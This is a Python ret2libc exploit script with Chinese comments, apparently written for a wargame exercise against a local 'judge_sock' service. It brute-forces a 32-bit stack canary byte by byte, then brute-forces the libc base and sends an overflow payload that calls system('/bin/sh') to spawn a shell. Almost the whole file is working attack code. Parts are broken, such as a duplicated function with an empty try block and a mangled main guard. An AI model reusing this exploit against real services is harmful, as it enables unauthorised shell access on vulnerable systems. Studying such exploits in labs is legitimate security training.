return2libc
!/usr/bin/env python3
import sys
import struct
import os
import socket
import time
import subprocess
from pathlib import Path
偏移量常量
SYSTEM_OFFSET = 0x00051150
EXIT_OFFSET = 0x0003c0c0
BINSH_OFFSET = 0x001cae52
STARTING_LIBC = 0xea000000
RUNNING_SHELL_COUNT = 15
缓冲区大小
BUFFER_SIZE = 256
EBP_OFFSET = 3
def connect_to_server():
"""连接到服务器套接字"""
home_dir = str(Path.home())
sock_path = os.path.join(home_dir, "judge_sock")
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
client.connect(sock_path)
return client
except Exception as e:
print(f"连接错误: {e}")
return None
def send_payload(payload):
"""发送payload并尝试获取响应"""
client = connect_to_server()
if client is None:
return None
try:
client.sendall(payload)
# 尝试接收响应
try:
response = client.recv(512)
return response
except socket.error:
# 如果无法接收响应,可能是服务器崩溃或关闭了连接
return None
except Exception as e:
print(f"发送错误: {e}")
return None
finally:
try:
client.close()
except:
pass
def send_payload_nc(payload):
"""通过nc命令发送payload"""
# 将payload保存到临时文件
#with open('/tmp/payload.bin', 'wb') as f:
#f.write(payload)
# 使用nc命令通过Unix socket发送payload
cmd = f"nc -U /home/hackers/hacker84/judge_sock"
#sys.stdout.buffer.write(payload)
try:
# subprocess.run(cmd, shell=True, check=True)
# return True
except subprocess.CalledProcessError:
print("[-] 发送payload失败", file=sys.stderr)
return False
def send_payload_nc(payload):
"""通过nc命令发送payload"""
try:
# 使用 subprocess.Popen 来直接通过管道传输数据到 nc
# 通过 stdin 传输 payload 数据到 nc
process = subprocess.Popen(
['nc', '-U', '/home/hackers/hacker84/judge_sock'], # 使用 Unix socket
stdin=subprocess.PIPE # 通过管道传递数据
)
# 直接写入数据到 nc 的 stdin
process.communicate(input=payload)
return True
except Exception as e:
print(f"[-] 发送payload失败: {e}", file=sys.stderr)
return False
def check_success():
"""检查是否成功获取shell且满足条件"""
try:
# 使用subprocess执行命令并获取输出
cmd = "ps -ef | grep -E 'sh|dash|bash' | grep -v grep | grep hacker84 | wc -l"
result = subprocess.check_output(cmd, shell=True, text=True)
count = int(result.strip())
return count > RUNNING_SHELL_COUNT
except:
return False
def bruteforce_canary():
"""暴力破解canary的值"""
# 基础payload格式: \n + 255个'A'
base_payload = b"\n" + b"A" * 255
# 已找到的canary字节
found_bytes = bytearray()
# 假设canary最多8个字节(64位系统)
max_canary_bytes = 4
print("[*] 开始暴力破解canary...")
# 循环尝试每个字节位置
for position in range(max_canary_bytes):
print(f"[*] 尝试第 {position+1} 个字节...")
# 尝试所有可能的字节值(0-255)
for value in range(256):
# 构建当前测试的canary部分
current_canary = found_bytes + bytes([value])
# 构建完整payload
payload = base_payload + current_canary
# 输出当前尝试的状态
print(f"[*] 位置 {position+1},值 0x{value:02x},当前canary: {' '.join(f'0x{b:02x}' for b in current_canary)}", end="\r")
# 发送payload并等待响应
response = send_payload(payload)
# 判断是否猜对了这个字节
if response is not None and response != b"":
# 收到响应,说明没有触发栈保护,猜对了
found_bytes.append(value)
print(f"\n[+] 找到字节 {position+1}: 0x{value:02x}")
break
# 短暂等待,避免请求过快
time.sleep(0.01)
else:
# 如果遍历了所有值都没找到,可能已经找完所有字节
print(f"\n[*] 无法找到更多字节,可能canary已完整或策略需要调整")
break
print(f"\n[+] 找到的canary: {' '.join(f'0x{b:02x}' for b in found_bytes)}")
print(f"[+] 十六进制表示: 0x{''.join(f'{b:02x}' for b in found_bytes)}")
return bytes(found_bytes)
def verify_canary(canary):
"""验证找到的canary是否正确"""
print("[*] 验证找到的canary...")
# 构建测试payload
test_payload = b"\n" + b"A" * 255 + canary
# 发送并检查响应
response = send_payload(test_payload)
if response is not None and response != b"":
print("[+] 验证成功!canary正确")
try:
print(f"[+] 服务器响应: {response.decode('utf-8', errors='replace')[:50]}")
except:
print(f"[+] 收到二进制响应")
return True
else:
print("[-] 验证失败,canary可能不完整或不正确")
return False
def build_payload(canary, libc_base):
"""构建用于猜测libc的payload"""
# 计算关键地址
system_addr = SYSTEM_OFFSET + libc_base
exit_addr = EXIT_OFFSET + libc_base
binsh_addr = BINSH_OFFSET + libc_base
group_tempup_addr = libc_base + 0x243000 + 0x000013e9
# 构建payload
payload = b'\n'
payload += b'A' * (BUFFER_SIZE-1) # 填充到canary
payload += canary # 放置正确的canary值
payload += b'BBBB' * EBP_OFFSET # 填充到返回地址
payload += struct.pack('<I', group_tempup_addr)
payload += struct.pack('<I', system_addr) # 返回地址改为system()
payload += struct.pack('<I', exit_addr) # system执行后的返回地址
payload += struct.pack('<I', binsh_addr) # system()的参数 - "/bin/sh"字符串的地址
return payload
def libc_bruteforce(canary, start_addr=0x0, end_addr=0xFFFFF000, chunk_size=0x10000):
"""暴力猜测libc基址
参数:
canary: 已找到的canary值
start_addr: 起始地址前缀,默认0x0
end_addr: 结束地址前缀,默认0xFFFFF000
chunk_size: 每次测试的地址数量,默认0x10000
"""
print(f"[*] 开始猜测libc基址,使用canary: {' '.join(f'0x{b:02x}' for b in canary)}")
# 确保地址的最低三位是0 (0x000)
for base_addr in range(start_addr, end_addr, chunk_size):
# 设置低12位为0,确保最后三位十六进制为000
base_addr = base_addr & 0xFFFFF000
print(f"[*] 测试地址范围: 0x{base_addr:08x} 到 0x{base_addr + chunk_size - 0x1000:08x}", file=sys.stderr)
# 尝试该范围内的所有可能基址
for offset in range(0, chunk_size, 0x1000): # 以0x1000为步长,确保最后三位为000
libc_base = base_addr + offset
# 确保不超过32位地址空间
if libc_base + SYSTEM_OFFSET > 0xFFFFFFFF:
continue
# 构建payload
try:
payload = build_payload(canary, libc_base)
except struct.error:
print(f"[-] 地址0x{libc_base:08x}超出范围,跳过", file=sys.stderr)
continue
print(f"[*] 尝试libc基址: 0x{libc_base:08x}", file=sys.stderr)
# 发送payload到Unix socket
send_payload_nc(payload)
# 等待一小段时间让命令执行
#time.sleep(0.01)
# 检查是否成功
#if check_success():
# time.sleep(0.5)
# if not check_success():
# continue
# print(f"[+] 成功! libc基址: 0x{libc_base:08x}", file=sys.stderr)
# return libc_base
# 如果没有成功,等待一段时间再尝试下一个地址
print("[-] 未能找到有效的libc基址", file=sys.stderr)
return None
def main():
print("=" * 50)
print("Canary和Libc基址猜测工具")
print("=" * 50)
# 检查参数
if len(sys.argv) > 1 and sys.argv[1] == "--use-canary":
# 使用提供的canary值
if len(sys.argv) < 3:
print("用法: script.py --use-canary <canary_hex>")
return
# 解析提供的canary值
canary_hex = sys.argv[2]
try:
canary = bytes.fromhex(canary_hex.replace("0x", ""))
print(f"[*] 使用提供的canary值: {' '.join(f'0x{b:02x}' for b in canary)}")
except ValueError:
print("[-] 无效的canary十六进制值")
return
else:
# 暴力破解canary
canary = bruteforce_canary()
# 验证找到的canary
if len(canary) > 0:
if not verify_canary(canary):
print("[-] Canary验证失败,退出")
return
# 保存找到的canary到文件
with open("found_canary.txt", "w") as f:
f.write(f"Canary: {' '.join(f'0x{b:02x}' for b in canary)}\n")
f.write(f"十六进制: 0x{''.join(f'{b:02x}' for b in canary)}\n")
print(f"[+] Canary结果已保存到 found_canary.txt")
else:
print("[-] 未找到有效的canary,退出")
return
# 暴力破解libc基址
if len(sys.argv) > 3 and sys.argv[1] == "--use-canary":
# 使用命令行参数
start_addr = int(sys.argv[3], 16) if len(sys.argv) > 3 else STARTING_LIBC
end_addr = int(sys.argv[4], 16) if len(sys.argv) > 4 else 0xFFFFF000
chunk_size = int(sys.argv[5], 16) if len(sys.argv) > 5 else 0x10000
else:
# 使用默认参数
start_addr = STARTING_LIBC
end_addr = 0xFFFFF000
chunk_size = 0x10000
print(f"[*] 开始猜测libc基址,范围: 0x{start_addr:08x} - 0x{end_addr:08x}")
libc_base = libc_bruteforce(canary, start_addr, end_addr, chunk_size)
if libc_base is not None:
# 保存结果到文件
with open("found_libc.txt", "w") as f:
f.write(f"Libc基址: 0x{libc_base:08x}\n")
f.write(f"system() 地址: 0x{libc_base + SYSTEM_OFFSET:08x}\n")
f.write(f"exit() 地址: 0x{libc_base + EXIT_OFFSET:08x}\n")
f.write(f"/bin/sh 地址: 0x{libc_base + BINSH_OFFSET:08x}\n")
print(f"[+] Libc基址结果已保存到 found_libc.txt")
print("=" * 50)
if name == "main":
main()

浙公网安备 33010602011771号